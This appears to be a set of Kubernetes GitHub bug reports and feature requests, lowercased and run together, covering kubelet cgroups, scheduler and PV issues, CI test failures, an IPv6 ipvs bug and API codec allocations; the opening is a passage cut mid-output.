mtu 1450 qdisc noqueue master cni0 state up mode default group default\r     link/ether b2:76:cb:64:a9:b2 brd ff:ff:ff:ff:ff:ff link-netnsid 55\r 63: vethb05adee4@if3: <broadcast,multicast,up,lower_up> mtu 1450 qdisc noqueue master cni0 state up mode default group default\r     link/ether 0a:26:3f:41:41:7c brd ff:ff:ff:ff:ff:ff link-netnsid 8\r 165: docker_gwbridge: <broadcast,multicast,up,lower_up> mtu 1500 qdisc noqueue state up mode default group default\r     link/ether 02:42:77:0b:78:d0 brd ff:ff:ff:ff:ff:ff\r 167: vetha38d632@if166: <broadcast,multicast,up,lower_up> mtu 1500 qdisc noqueue master docker_gwbridge state up mode default group default\r     link/ether 92:e2:3d:54:ef:43 brd ff:ff:ff:ff:ff:ff link-netnsid 10\r 3575: veth1415bc8@if3574: <broadcast,multicast,up,lower_up> mtu 1500 qdisc noqueue master docker_gwbridge state up mode default group default\r     link/ether ba:c5:bf:22:80:c7 brd ff:ff:ff:ff:ff:ff link-netnsid 53\r    \r thanks for an answer

https://kubernetes.io/docs/tasks/configure-pod-container/quality-service-pod/\r \r \r we need a test case that:\r 1. sets up a namespace with limits on cpu & memory\r 2. creates multiple pods with differing qos settings that will exceed the namespace limits\r 3. remove a few pods at a time and make sure qos behavior is preserved and that lower qos pods do get scheduled when higher qos ones are stopped\r \r  /milestone v1.14\r

doing benchmark on rktnetes, the density test works fine with 3 and 30 pods per node. but fails when running 50 pods per node. because some pods failed to start at the first time. here is the errors i got from  kubectl get events       32m       32m       1         density150-0-ab0c044c-1cb3-11e6-875e-42010af00002-zmg6e   pod       spec.containers{density150-0-ab0c044c-1cb3-11e6-875e-42010af00002}   warning   failed      {kubelet yifan-rkt-minion-55e4}   failed to create rkt container with error: failed to run  prepare --quiet --pod-manifest /tmp/manifest-density150-0-ab0c044c-1cb3-11e6-875e-42010af00002-zmg6e-097668574 --stage1-path /opt/rkt/stage1-coreos.aci : exit status 2 stdout:  stderr: runtime/cgo: pthread_create failed: resource temporarily unavailable sigabrt: abort pc=0x7f055f5a469b m=0  goroutine 0  idle :  goroutine 1  chan receive, locked to thread : runtime.gopark 0xfb20b0, 0xc8200181a8, 0xe2eb80, 0xc, 0x17, 0x3            /usr/lib/go/src/runtime/proc.go:262 +0x163 fp=0xc820057e38 sp=0xc820057e10 runtime.goparkunlock 0xc8200181a8, 0xe2eb80, 0xc, 0x47c317, 0x3            /usr/lib/go/src/runtime/proc.go:268 +0x54 fp=0xc820057e70 sp=0xc820057e38 runtime.chanrecv 0xb904e0, 0xc820018150, 0x0, 0xc820057f01, 0x450000            /usr/lib/go/src/runtime/chan.go:470 +0x49f fp=0xc820057ef8 sp=0xc820057e70 runtime.chanrecv1 0xb904e0, 0xc820018150, 0x0            /usr/lib/go/src/runtime/chan.go:355 +0x2b fp=0xc820057f28 sp=0xc820057ef8 runtime.gcenable             /usr/lib/go/src/runtime/mgc.go:192 +0x76 fp=0xc820057f50 sp=0xc820057f28 runtime.main             /usr/lib/go/src/runtime/proc.go:150 +0x138 fp=0xc820057fa0 sp=0xc820057f50 runtime.goexit             /usr/lib/go/src/runtime/asm_amd64.s:1998 +0x1 fp=0xc820057fa8 sp=0xc820057fa0  goroutine 17  syscall, locked to thread : runtime.goexit             /usr/lib/go/src/runtime/asm_amd64.s:1998 +0x1  rax    0x0 rbx    0x7f055f9157a0 rcx    0x7f055f5a469b rdx    0x6 rdi    0x305c rsi    0x305c rbp    0x7ffe07f28ca0 rsp    0x7ffe07f28ca0 r8     0x7f055f9168e0 r9     0x7f055fd51740 r10    0x8 r11    0x206 r12    0x325e2f0 r13    0xfae384 r14    0x0 r15    0x8 rip    0x7f055f5a469b rflags 0x206 cs     0x33 fs     0x0 gs     0x0      and       error syncing pod, skipping: failed to syncpod: failed to run  prepare --quiet --pod-manifest /tmp/manifest-density150-0-ab0c044c-1cb3-11e6-875e-42010af00002-wn3e7-687506860 --stage1-path /opt/rkt/stage1-coreos.aci : fork/exec /opt/rkt/rkt: resource temporarily unavailable stdout:  stderr:       however, after several restarts, all the pods seem to be in the running state:      namespace                 name                                                      ready     status    restarts   age e2e-tests-density-l2rrn   density150-0-ab0c044c-1cb3-11e6-875e-42010af00002-053v5   1/1       running   1          33m e2e-tests-density-l2rrn   density150-0-ab0c044c-1cb3-11e6-875e-42010af00002-0ccby   1/1       running   1          33m e2e-tests-density-l2rrn   density150-0-ab0c044c-1cb3-11e6-875e-42010af00002-0f7tw   1/1       running   1          33m e2e-tests-density-l2rrn   density150-0-ab0c044c-1cb3-11e6-875e-42010af00002-0fezx   1/1       running   1          33m e2e-tests-density-l2rrn   density150-0-ab0c044c-1cb3-11e6-875e-42010af00002-0tb7k   1/1       running   2          33m e2e-tests-density-l2rrn   density150-0-ab0c044c-1cb3-11e6-875e-42010af00002-1z8e9   1/1       running   1          33m e2e-tests-density-l2rrn   density150-0-ab0c044c-1cb3-11e6-875e-42010af00002-265yz   1/1       running   0          33m e2e-tests-density-l2rrn   density150-0-ab0c044c-1cb3-11e6-875e-42010af00002-266a5   1/1       running   3          33m ...      cc @kubernetes/sig-node @sjpotter @euank @jonboulle @iaguis @alban

there are some typos in comment information such as eg. which should be modified to e.g.

is this a bug report or feature request?   :\r \r bug: with cri enabled by default, kubelet reports the version of cri instead of container runtime version:\r \r    \r kubectl get node 127.0.0.1 --template={{.status.nodeinfo.containerruntimeversion}}\ \r docker://0.1.0\r    \r \r   kubernetes version    use  kubectl version  :\r \r master and 1.6.\r \r   what you expected to happen  :\r \r kubelet should report the version of container runtime.\r \r \r \r will file a pr to fix this.\r \r cc @yujuhong @random-liu @kubernetes/sig-node-bugs \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-test-go/5034/ failed: testtokencreation {serviceaccount}      tokens_controller_test.go:651: updated serviceaccount with no secrets with resource conflict: 1 unexpected actions:  {actionimpl:{namespace:default verb:get resource:{group: version:v1 resource:serviceaccounts} subresource:} name:default}

currently, endpoints objects containing no subsets are decoded by the go client as subsets:    when requested individually  or as subsets:null  when requested in a list of endpoints .\r \r because the endpoints controller is fed via a lister/watcher, it gets the subsets:null version fed to it. the subsets computation then returns an empty slice, which fails reflect.deepequal, which triggers a write attempt

is this a bug report or feature request?:  \r \r  \r   what happened:  \r \r \r i started docker and kubelet with following parameters, but got errors that don't find proper cgroup slices.\r \r \r   what you expected to happen:   \r \r the kubelet can set the predefined cgrop as parameter to  cgroup-root     --kube-reserved-cgroup   --system-reserved-cgroup=/system.slice  \r \r \r   how to reproduce it  as minimally and precisely as possible :  \r \r i configured the cluster with docker and  kubelet service as following configuraion, first create slice  kubesvc.slice   and kubelet and docker service will run inside this slice; and  then create  container.slice  to host all pods and containers. and set the cgroups resvervation for kube and system processes. \r \r    \r   cat kubesvc.slice\r escription=limited resources slice for kubelet and  rkt service\r defaultdependencies=no\r before=slices.target\r requires=-.slice\r after=-.slice\r  slice \r memorylimit=4g\r   cat docker.service\r  unit \r description=docker application container engine\r documentation=https://docs.docker.com\r after=network.target\r \r  service \r slice=kubesvc.slice\r type=notify\r   the default is not to use systemd for cgroups because the delegate issues still\r   exists and systemd currently does not support the cgroup feature set required\r   for containers run by docker\r execstart=/usr/bin/dockerd\r execreload=/bin/kill -s hup $mainpid\r   having non-zero limit s causes performance problems due to accounting overhead\r   in the kernel. we recommend using cgroups to do container-local accounting.\r limitnofile=infinity\r limitnproc=infinity\r limitcore=infinity\r   uncomment tasksmax if your systemd version supports it.\r   only systemd 226 and above support this version.\r tasksmax=infinity\r timeoutstartsec=0\r   set delegate yes so that systemd does not reset the cgroups of docker containers\r delegate=yes\r   kill only the docker process, not all processes in the cgroup\r killmode=process\r \r  install \r wantedby=multi-user.target\r \r    cat /etc/docker/daemon.json\r {\r     \ debug\ : true,\r     \ exec-opts\ :  \ native.cgroupdriver=systemd\  ,\r     \ cgroup-parent\ : \ container.slice\ ,\r     \ hosts\ :  \ tcp://0.0.0.0:2376\ ,\ unix:///var/run/docker.sock\  ,\r     \ ip\ : \ 0.0.0.0\ ,\r     \ log-driver\ : \ journald\ ,\r     \ log-opts\ :  {\ tag\ :\ docker_{{.name}}_{{.id}}\ },\r     \ tlsverify\  : true,\r     \ tlscacert\ : \ /etc/docker/ssl/ca.pem\ ,\r     \ tlscert\ : \ /etc/docker/ssl/docker.pem\ ,\r     \ tlskey\ : \ /etc/docker/ssl/docker-key.pem\ \r \r }\r \r \r   cat kubelet.service\r  unit \r description=kubelet service\r require=container.slice\r require=docker.service\r \r  service \r slice=kubesvc.slice\r execstart=/usr/bin/kubelet --kubeconfig=/var/lib/kubeconfig/kubelet.kubeconfig --require-kubeconfig=true --enable-debugging-handlers=true --pod-manifest-path=/var/lib/manifests --allow-privileged=true  --cluster-d\r ns=192.168.0.10 --cluster-domain=cluster.local   --network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin --register-node=true   --cgroup-driver=systemd    --cgroup-root=/container.slice --kube-reserved=cpu=200m,memory=512m\r i --kube-reserved-cgroup=/kubesvc.slice --system-reserved=cpu=200m,memory=512mi --system-reserved-cgroup=/system.slice  --eviction-hard=memory.available<1gi,nodefs.available<10% --enforce-node-allocatable=pods,s\r ystem-reserved,kube-reserved\r restart=always\r restartsec=2s\r startlimitinterval=0\r killmode=process\r delegate=yes\r \r  install \r wantedby=multi-user.target\r \r \r    \r and the status of the slices \r    \r ~  systemctl status kubesvc.slice\r ● kubesvc.slice\r    loaded: loaded  /lib/systemd/system/kubesvc.slice; static; vendor preset: enabled \r    active: active since mon 2017-08-28 11:28:48 cst; 12min ago\r     tasks: 40\r    memory: 159.0m  limit: 4.0g \r       cpu: 12.399s\r    cgroup: /kubesvc.slice\r            ├─docker.service\r            │ ├─1298 /usr/bin/dockerd\r            │ └─1327 docker-containerd -l unix:///var/run/docker/libcontainerd/docker-containerd.sock --shim docker-containerd-shim --metrics-interval=0 --start-timeout 2m --state-dir /var/run/docker/libcontainer\r            └─kubelet.service\r              ├─1094 /usr/bin/kubelet --kubeconfig=/data/k8s/k8sconf/kubelet.kubeconfig --require-kubeconfig=true --enable-debugging-handlers=true --pod-manifest-path=/var/lib/manifests --allow-privileged=true --\r              └─1563 journalctl -k -f\r \r    \r when place kubelet in the slice  kubesvc.slice ,  and set  --kube-reserved-cgroup    to  kubesvc.slice , it is working , but  --system-reserved-cgroup  is not working at the same time. but actually  system.slice   is a build-in slice when system starts. \r \r and   --cgroup-root=/container.slice  also is not working but  container.slice  is existing.\r    \r   systemctl status container.slice\r ● container.slice - limited resources slice\r    loaded: loaded  /lib/systemd/system/container.slice; static; vendor preset: enabled \r    active: active since mon 2017-08-28 11:51:15 cst; 19s ago\r     tasks: 0\r    memory: 0b  limit: 4.0g \r       cpu: 0\r \r aug 28 11:51:15 k8scluster-master systemd 1 : created slice limited resources slice.\r    \r \r \r \r and the error message is \r    \r aug 28 11:28:22 k8scluster-master kubelet 1719 : i0828 11:28:22.879772    1719 kubelet.go:1752  skipping pod synchronization -  failed to start containermanager failed to enforce system reserved cgroup limits on \ /system.slice\ : \ /system.slice\  cgroup does not exist \r aug 28 11:49:33 k8scluster-master kubelet 2203 : error: failed to run kubelet: invalid configuration: cgroup-root \ /container.slice\  doesn't exist: <nil>\r    \r \r \r \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :  1.7.3\r - cloud provider or hardware configuration  : \r - os  e.g. from /etc/os-release : ubuntu 16.04.3\r - kernel  e.g.  uname -a  : 4.10\r - install tools:  manual\r - runtime: docker 1.12.6 \r \r \r \r /area kubelet\r  \r \r

 \r   what happened  :\r e2e tests for horizontal pod autoscaler using stackdriver custom metrics are failing on hpa reading from custom metrics api: https://k8s-testgrid.appspot.com/sig-autoscaling gci-gce-autoscaling\r from test logs:\r i1115 06:22:31.893  nov 15 06:22:31.888: info: at 2017-11-15 06:07:57 +0000 utc - event for custom-metrics-objects-hpa: {horizontal-pod-autoscaler } failedgetobjectmetric: unable to get metric foo-metric: pod on e2e-tests-horizontal-pod-autoscaling-mdc6q stackdriver-exporter-pod/unable to fetch metrics from api: pods.custom.metrics.k8s.io \ stackdriver-exporter-pod\  is forbidden: user \ system:anonymous\  cannot get pods.custom.metrics.k8s.io/foo-metric in the namespace \ e2e-tests-horizontal-pod-autoscaling-mdc6q\ \r \r   what you expected to happen  :\r hpa is supposed to be able to read custom metrics api, as defined here: https://github.com/kubernetes/kubernetes/blob/f34fb9b0ab37daf71d2d246db7e13a88a41ff359/plugin/pkg/auth/authorizer/rbac/bootstrappolicy/testdata/controller-roles.yaml l497\r \r   how to reproduce it  as minimally and precisely as possible   :\r this e2e test can be run manually with command:\r go run hack/e2e.go -- -v --build --up --test --test_args=\ --ginkgo.focus=\\ feature:custommetricsautoscaling\\ \ \r \r   environment  :\r - kubernetes version  use  kubectl version  : master\r - cloud provider or hardware configuration: gce\r \r @liggitt @shyamjvs @aleksandra-malinowska ptal

/ /  /status approved-for-milestone\r @kubernetes/sig-cluster-lifecycle-test-failures \r \r this job has been failing since at least 2017-11-08.  it's on the  sig-release-master-upgrade dashboard  https://k8s-testgrid.appspot.com/sig-release-master-upgrade ,\r and prevents us from cutting  v1.9.0-beta.1   kubernetes/sig-release 34 . is there work ongoing to bring this job back to green?\r \r https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.8-master-upgrade-cluster\r \r - none of the upgrade jobs are passing https://k8s-testgrid.appspot.com/sig-release-master-upgrade\r - last upgradetest green: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster/1593\r - first upgradetest red: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster/1594\r - latest failure: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster/1608\r - suspect commit range: https://github.com/kubernetes/kubernetes/compare/dc4994169...c1d1b9268

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r bug report\r \r  \r   what happened  :\r \r kube scheduler could not attach a pvc to a pod, it thought that the pvc did not exist when it did. the event on the pod was\r pod name: svc-221087-0 \r    \r events:\r   type     reason                 age                 from                                   message\r   ----     ------                 ----                ----                                   -------\r   warning  failedscheduling       5m  x1212 over 6h   default-scheduler                      persistentvolume \ pvc-ff9e7a1a-2003-11e8-a139-0a14b2585426\  not found  repeated 10 times \r    \r and there were numerous logs in the kube scheduler:\r    \r mar 04 23:30:23 ip-10-0-125-177 kube-scheduler 24283 : e0304 23:30:23.814007   24283 factory.go:913  error scheduling rubix-skykube svc-221087-0: persistentvolume \ pvc-ff9e7a1a-2003-11e8-a139-0a14b2585426\  not found  repeated 10 times ; retrying\r    \r and yet \r    \r  rmcnamara ~ $ kubectl get pv pvc-ff9e7a1a-2003-11e8-a139-0a14b2585426\r name                                       capacity   access modes   reclaim policy   status    claim                                                      storageclass            reason    age\r pvc-ff9e7a1a-2003-11e8-a139-0a14b2585426   94gi       rwo            delete           bound     namespace-name/svc-221087-etcd-data-4ea06403-svc-221087-0   my-aws-provisioner             6h\r    \r \r i restarted the kube-scheduler and the new instance was immediately able to find the pv and the pod in question was immediately scheduled. this makes me initially think this is a caching issue\r \r   what you expected to happen  :\r \r expected the kube scheduler to find the pv without restart\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r this is the first time i've ever seen this, not sure how to get back into the state again.\r would definitely appreciate advice on how to in the future rule out if this is a caching issue or not.\r \r   anything else we need to know?  :\r \r additionally during this time there was another pod that couldn't be scheduled, however the reason for that was that a pvc couldn't be found. this was also immediately fixed on restart\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8+\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  :\r    \r  rmcnamara ~ $ uname -a\r linux ip-10-0-84-203 4.14.15-1.el7.elrepo.x86_64  1 smp tue jan 23 20:28:26 est 2018 x86_64 x86_64 x86_64 gnu/linux\r

is this a bug report or feature request?  :\r >  \r   what happened  :\r some clusters use a self-managed ca or a non-root trusted ca. even for clusters using a trusted chain, some client libraries ignore root cas and require the caller specify the trusted cert chain. in these situations, it would be helpful to have an api to retrieve the server's ca public key  in pem format .\r \r after lots of investigating, this appears to be the only way to accomplish this, provided the local  ~/.kube/config  exists:\r \r    \r $ kubectl config view --raw -o json | jq -r '.clusters 0 .cluster.\ certificate-authority-data\ ' | tr -d '\ ' | base64 --decode\r    \r \r this has a few issues, namely:\r \r 1. it requires the kube config already exist\r 1. it isn't an api  users have to have  kubectl  installed to get the ca into their app with automation \r 1. it uses os-specific things and third-party tools like  tr  and  jq \r \r it's also worth noting that the following commands do   not   work:\r \r    \r   returns an array of bytes for what appears to be an unknown literal string\r $ kubectl config view -r -o jsonpath='{.clusters 0 .cluster.certificate-authority-data}'\r  68 64 192 9 49 3 \r \r   returns an array of bytes that appears to represent the cert, but its not in a usable format that other libs understands\r $ kubectl config view -r -o jsonpath='{.clusters 0 .cluster.certificate-authority-data}'\r  45 45 45 45 45 66 69 71 73 78 32 67 ... \r    \r \r it's also, also worth noting that if you're _inside_ a pod, you can get it from the filesystem, but that's not always viable. an api is cross-platform and stable.\r \r   what you expected to happen  :\r \r i expected a first-class api that returns the ca cert for the api server and an associated  kubectl  command that consumes that api and prints the certificate\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r it's a feature request, so there's no reproduction.\r \r   anything else we need to know?  :\r \r my personal belief is that this should be an api endpoint that the cli consumes. this would allow users to follow a tofu model.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r     \r        \r     client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t20:49:12z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r     server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.8-gke.0\ , \r     gitcommit:\ 6e5b33a290a99c067003632e0fd6be0ead48b233\ , gittreestate:\ clean\ , \r     builddate:\ 2018-02-16t18:26:58z\ , goversion:\ go1.8.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r        \r \r - cloud provider or hardware configuration:\r \r        \r     gke, but applies to all clusters\r        \r \r - os  e.g. from /etc/os-release :\r \r        \r     mac os x\r        \r \r - kernel  e.g.  uname -a  :\r \r        \r     darwin x 17.4.0 darwin kernel version 17.4.0: sun dec 17 09:19:54 pst 2017; root:xnu-4570.41.2~1/release_x86_64 x86_64\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r ci-benchmark-scheduler-master\r \r   which test s  are failing  :\r \r   since when has it been failing  :\r 12/19/2018 ~19:49\r   testgrid link  :\r https://testgrid.k8s.io/sig-scalability-benchmarks scheduler\r \r   reason for failure  :\r \ go-junit-report not found\ \r \r   anything else we need to know  :\r iiuc the problem is not with actual test case, but results post processing. the .stdout file should be converted using go-junit-report, which fails.\r \r <!-- do not edit below this line -->\r 

we are observing that some clusters are leaking go-routines.  in particular, we observed clusters with 2 or 3 nodes that has 200.000+ go-routines.  however, this seem to be happening only on some clusters  not all of them . i will try to provide more data when i have it.  @kubernetes/sig-api-machinery

this is  feature request for blob storage as a kubernetes resource.  every cloud vendor has some form of blob storage type and there are some available for on premises stacks as well. the problem is, the each have their own unique api and authentication mechanisms. the request is, to allow kubernetes to shim blob storage in much the same way it does other cloud provisioned resources. this allows user code to be even more decoupled from particular cloud vendors. \r \r kubernetes could then provide a standard interface to list,put and get items while taking care of the cloud integration aspects such as vendor specific apis/authentication requirements.  blobs stores are inherently multi-access unlike disk backed storage, but they cannot be mounted like network file systems can due to consistency reasons. as a result, blob storage fits in a unique in between point in the storage chain which requires a distinct resource type to access. \r

/assign @saad-ali @roberthbailey \r \r summary: https://k8s-testgrid.appspot.com/google-non-cri summary\r filtered testgrid: https://k8s-testgrid.appspot.com/google-non-cri gke-serial&width=20&sort-by-failures=&include-filter-by-regex=persistentvolumes\r \r the gke-serial job has a bunch of persistentvolumes and pod disks tests that failed at least the last 20 times they ran  see summary tab \r \r this might be related to the disruptive daemonrestart and etcd failures in this job that have a similar string of failures\r \r

to track the release ...\r \r cc/ @kubernetes/sig-node-feature-requests

currently if people only have permission to get several named resources. they can't use  kubectl get <resource>  to get the list. if we can support  what-can-i-do , it will be very helpful.\r i saw it in openshift  https://github.com/openshift/origin/pull/8675 . could we add this to kubernetes? @deads2k @liggitt \r \r

 \r i was install docker ce for windows  10 and can use  docker with  command, but after i  installed  kubernetes and use it , it need docker toolbox.\r \r another  computer  have no this problem. \r \r message like this: virtualbox is not installed. please install it via the docker toolbox.\r

failure cluster  540a675c5a879d96566f  https://go.k8s.io/triage 540a675c5a879d96566f        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ serial\\ |\\ disruptive\\  --ginkgo.skip=\\ flaky\\ |\\ feature:.+\\  --minstartuppods=8 --report-dir=/workspace/_artifacts --disable-log-dump=true: exit status 1           failure cluster statistics: 1 tests failed,    28 jobs failed,    66 builds failed. failure stats cover 1 day time range '25 oct 2017 22:28 utc' to '26 oct 2017 22:28 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 28 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gce-serial-stable1 | 4 |  26 oct 2017 14:27 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-serial-stable1/1339  | | ci-kubernetes-e2e-gce-cosdev-k8sstable1-serial | 4 |  26 oct 2017 15:53 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cosdev-k8sstable1-serial/1677  | | ci-kubernetes-e2e-gci-gce-serial | 4 |  26 oct 2017 15:47 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-serial/2432  |   current status  https://go.k8s.io/triage 540a675c5a879d96566f

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r   what happened  :\r the  persistentvolumereclaimpolicy  called  recycle  is being deprecated. see  announcement here  https://groups.google.com/forum/ !topic/kubernetes-dev/uexugcza84i . the documentation  comments  in the api  https://github.com/kubernetes/kubernetes/blob/master/pkg/apis/core/types.go l478  should mention this.\r \r   what you expected to happen  :\r api documentation should indicate  recycle  policy is being deprecated.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r windows containers creation failed because of rslave mounts.\r \r    \r  error: error response from daemon: invalid bind mount spec \ c:\\\\var\\\\lib\\\\kubelet\\\\pods\\\\a260a7c4-1852-11e8-bb1d-000d3a19c1da\\\\volumes\\\\kubernetes.io~secret\\\\default-token-rj7qv:c:/var/run/secrets/kubernetes.io/serviceaccount:ro,rslave\ : invalid volume specification: 'c:\\var\\lib\\kubelet\\pods\\a260a7c4-1852-11e8-bb1d-000d3a19c1da\\volumes\\kubernetes.io~secret\\default-token-rj7qv:c:\\var\\run\\secrets\\kubernetes.io\\serviceaccount:ro,rslave'\r    \r \r   what you expected to happen  :\r \r windows containers don't support mount propagation, we should disable it for windows.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 /area ipv6\r /area ipvs\r  \r \r   what happened  :\r \r in an ipv6-only cluster the  kube-proxy  in  ipvs  mode creates a number of ipset's with  family inet .\r \r this causes problems and fault logs when they are used with ipv6 addresses.\r \r   what you expected to happen  :\r \r the ipset's should be created with  family inet6 .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   start a ipv6-only cluster\r   execute;  ipset list  on any node and check the output\r \r   anything else we need to know?  :\r \r the problem seems to be  here  https://github.com/kubernetes/kubernetes/blob/5b2a7c7347cf9ca86ef5dfaaea3e3aa4df3ae270/pkg/proxy/ipvs/proxier.go l379-l384 \r \r this code seems pretty weird to me. i mean why a  isipv6  flag in the  ipsetinfo  structure at all? i ignored the  isipv6  flag in the structure and just passed the  isipv6  in the  newproxy    directly to  newipset    and it seem to work.\r \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.0-beta.0.381+b70f2bbc9fbf8d-dirty\ , gitcommit:\ b70f2bbc9fbf8d5e1483d9f65da2c55abb1d1fa7\ , gittreestate:\ dirty\ , builddate:\ 2018-08-23t17:50:38z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.0-beta.0.381+b70f2bbc9fbf8d-dirty\ , gitcommit:\ b70f2bbc9fbf8d5e1483d9f65da2c55abb1d1fa7\ , gittreestate:\ dirty\ , builddate:\ 2018-08-23t17:50:38z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r   kvm on ubuntu 16.04\r - os  e.g. from /etc/os-release :\r   own busybox system\r - kernel  e.g.  uname -a  :\r  linux vm-001 4.17.13  1 smp thu aug 9 09:27:42 cest 2018 x86_64 gnu/linux \r - install tools:\r   none\r - others:\r

follow up https://github.com/kubernetes/kubernetes/issues/16391 issuecomment-152316646  tabs in    yaml causes problem in gh-pages. write a munger to replace  <tab>  with  <space> .

currently it is impossible to distinguish why node is in an unschedulable state base on event stream. node event give us information about node state  schedulable/unschedulable  only.  adding new flag drain  to event's struct allow us to distinguish when node was drained.

there is a race condition for cri as currently specified:\r \r -  pullimage  pulls an image by  name   not  name:digest  \r - another process changes  name  to point to something else\r -  createcontainer  creates a container using  name , running the incorrect image\r \r i would also classify this as a security concern, as the race could potentially be exploited to run a malicious image.\r \r proposed solution:\r \r require  pullimage  to return a fully resolved  name:digest  so that  createcontainer  can use an immutable reference to the image it should run.\r \r cc @kubernetes/sig-node @yujuhong

forked from  2306 and  3854.   api/conversion.go shouldn't exist. we should always be converting to/from some versioned api object.  /cc @thockin @yujuhong @lavalamp

i was looking into memory allocations in large clusters and discovered that ~5% of allocations are coming from \ parametercodec::decodeparameters\ .\r \r i started looking closer into it and it seems that something strange is happening there.\r \r so i added some logs to the code and have the code like this:\r    \r 156 // decodeparameters converts the provided url.values into an object of type from with the kind of into, and then\r 157 // converts that object to into  if necessary . returns an error if the operation cannot be completed.\r 158 func  c  parametercodec  decodeparameters parameters url.values, from schema.groupversion, into object  error {\r 159   if len parameters  == 0 {\r 160     return nil\r 161   }\r 162   glog.errorf \ aaa: % v\ , from \r 163   targetgvks, _, err := c.typer.objectkinds into \r 164   if err != nil {\r 165     return err\r 166   }\r 167   targetgvk := targetgvks 0 \r 168   glog.errorf \ aaa: % v  % v \ , into, targetgvk \r 169   if targetgvk.groupversion   == from {\r 170     glog.errorf \ aaa: direct conversion\  \r 171     return c.convertor.convert &parameters, into, nil \r 172   }\r 173   glog.errorf \ aaa: bad conversion\  \r 174   input, err := c.creator.new from.withkind targetgvk.kind  \r 175   if err != nil {\r 176     return err\r 177   }\r 178   glog.errorf \ aaa: % v\ , input \r 179   if err := c.convertor.convert &parameters, input, nil ; err != nil {\r 180     return err\r 181   }\r 182   return c.convertor.convert input, into, nil \r 183 }\r    \r \r and when i'm looking into apiserver logs now, i'm seeing a lot of lines like this:\r    \r e0215 12:09:51.658746       5 codec.go:162  aaa: schema.groupversion{group:\ meta.k8s.io\ , version:\ v1\ }\r e0215 12:09:51.658763       5 codec.go:168  aaa: &v1.getoptions{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, resourceversion:\ \ }  schema.groupversionkind{group:\ meta.k8s.io\ , version:\ __internal\ , kind:\ getoptions\ } \r e0215 12:09:51.658777       5 codec.go:173  aaa: bad conversion\r e0215 12:09:51.658785       5 codec.go:178  aaa: &v1.getoptions{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, resourceversion:\ \ }\r    \r \r for me it clearly seems like:\r - from is \ meta.k8s.io/v1\ \r - into is \ v1.getoptions\ \r but: targetgvk is set to \ meta.k8s.io/__internal\ \r \r and what we are doing then is:\r - we create yet another \ v1.getoptions\  object\r - we decode into that object\r - and then we convert this input into \ into\   which is of the same type \r \r it seems that targetgvk is not what we want.  and it seems we can avoid a lot of allocations if we fix that .\r \r @smarterclayton @kubernetes/sig-api-machinery-misc 